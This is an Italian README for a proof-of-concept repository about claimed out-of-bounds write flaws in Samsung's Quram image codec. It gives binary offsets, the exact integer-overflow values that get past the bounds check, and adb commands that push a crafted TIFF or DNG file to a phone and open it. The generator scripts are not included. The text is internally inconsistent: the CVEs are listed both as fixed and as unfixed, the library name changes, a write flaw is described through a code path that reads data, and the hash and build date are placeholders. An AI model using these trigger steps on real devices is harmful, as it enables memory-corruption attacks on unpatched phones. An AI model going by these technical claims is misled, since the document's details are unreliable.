
PoC di scrittura OOB in libimagecodec.quram.so di Samsung
Questo repository contiene file Proof-of-Concept (PoC) concettuali che dimostrano
vulnerabilità di scrittura fuori dai limiti (OOB) nella libreria codec immagini Quramsoft
(libimagecodec.quram.so) utilizzata sui dispositivi Android Samsung.
| CVE | Formato | Tipo | Gravità | CVSS 4.0 | Corretta in |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | Scrittura fuori dai limiti (CWE-787) | Critica | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | Scrittura fuori dai limiti (CWE-787) | Alta | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soLa vulnerabilità risiede nella funzione di parsing dei tag IFD (Image File Directory)
WINKJ_ReadExifField (offset 0x13a0a8 nel binario a 64 bit). Questa funzione
elabora singole voci IFD TIFF/EXIF, ciascuna delle quali è una struttura di 12 byte:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
Quando count * element_size > 4, il campo Value a 4 byte viene trattato come un offset di file
(che punta a dove risiedono i dati effettivi). Il codice esegue quindi un controllo dei limiti
all'indirizzo 0x13a258:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
La vulnerabilità è un overflow di intero senza segno a 32 bit nell'addizione.
Se un attaccante costruisce value_offset e count * element_size in modo che la loro
somma subisca un wrap-around verso un valore piccolo, il controllo viene superato anche se l'accesso
effettivo alla memoria all'indirizzo base + value_offset avviene fuori dai limiti.
Esempio (tipo UNDEFINED, element_size = 1):
L'addizione a 32 bit 0x17FFF + 0xFFFF0001 = 0x10008000 viene troncata a 0x8000,
che equivale a buffer_size. Il controllo viene superato, ma il puntatore dati effettivo
(base + 0x17FFF) si trova 0x7FFF byte oltre la fine del buffer allocato.
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| File | Descrizione |
|---|---|
cve-2026-21045_tiff_oob_poc.py | Genera poc_crash.tif — TIFF malformato che attiva la scrittura OOB tramite tag ASCII con count/offset costruiti ad hoc |
cve-2026-21048_dng_oob_poc.py | Genera poc_crash.dng — DNG malformato che attiva la scrittura OOB tramite tag UNDEFINED con count/offset costruiti ad hoc |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
Su un dispositivo non patchato (patch di sicurezza precedente a luglio 2026), l'apertura del file TIFF/DNG appositamente costruito in Samsung Gallery (o in qualsiasi app che usa il decoder Quram) dovrebbe causare una corruzione della memoria heap che potrebbe portare a:
Su un dispositivo patchato (SMR Jul-2026+), l'immagine dovrebbe essere rifiutata come non valida oppure elaborata in modo sicuro. Un crash su un dispositivo completamente patchato può indicare un problema separato non ancora corretto.
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
Estratta da WINKJ_ReadExifField:
Tutti i tipi con element_size = 1 (BYTE, ASCII, UNDEFINED) condividono lo stesso handler
e sono ugualmente vulnerabili al bypass tramite integer overflow.
Questi proof of concept sono forniti solo a scopo educativo e di ricerca sulla sicurezza. Dimostrano il meccanismo della vulnerabilità per aiutare utenti e sviluppatori a comprenderne il rischio. Non utilizzarli contro sistemi di cui non sei proprietario o per i quali non hai un'autorizzazione esplicita al test.
| Campo | Valore (hex) | Decimale |
|---|
count | 0xFFFF0001 | 4.294.901.761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4.294.901.761 |
value_offset | 0x00017FFF | 98.303 |
value_offset + count*size | 0x00008000 (overflow!) | 32.768 |
buffer_size | 0x00008000 | 32.768 |
Risultato del controllo: 0x8000 <= 0x8000 | ✅ SUPERATO | — |
Accesso memoria effettivo: base + 0x17FFF | 0x7FFF byte oltre il buffer | ❌ OOB |
| Funzione | Indirizzo (64-bit) | Dimensione | Scopo |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | Analizza la singola voce IFD (vulnerabile) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | Legge tutte le voci IFD |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | Parser TIFF info di alto livello |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | Punto di ingresso principale del parsing TIFF |
decodeTIFF | 0x1a2adc | 580 | Decodifica l'immagine TIFF tramite libtiff |
getTIFFImageInfo | 0x1a2d20 | 508 | Ottiene i metadati dell'immagine TIFF |
copySubImageBuffer | 0x0b2824 | 324 | Copia la regione della sotto-immagine |
TIFFReadDirectory | 0x1aac78 | 5896 | Lettore di directory libtiff 4.6.0 |
_TIFFMultiply32 | 0x1a2f1c | 56 | Controllo sicuro di moltiplicazione a 32 bit |
_TIFFMultiply64 | 0x1a2f58 | 48 | Controllo sicuro di moltiplicazione a 64 bit |
| Tipo | Nome | Dimensione elemento | Indirizzo handler |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | Descrizione | Stato |
|---|
| CVE-2025-58477 | Scrittura OOB nel parsing dei tag IFD in libimagecodec.quram.so (SMR Dec-2025) | ✅ Corretta |
| CVE-2026-20973 | Lettura OOB in libimagecodec.quram.so (SMR Jan-2026) | ✅ Corretta |
| CVE-2026-21045 | Scrittura OOB nel parsing TIFF in libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ Non corretta per me |
| CVE-2026-21048 | Scrittura OOB nel parsing DNG in libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ Non corretta per me |
| CVE-2026-4775 | Integer overflow con segno in libtiff 4.6.0 putcontig8bitYCbCr44tile | ⚠️ Non corretta per me |
| CVE-2024-7006 | NULL dereference in libtiff tif_dirinfo.c | ✅ Corretta in 4.6.1 |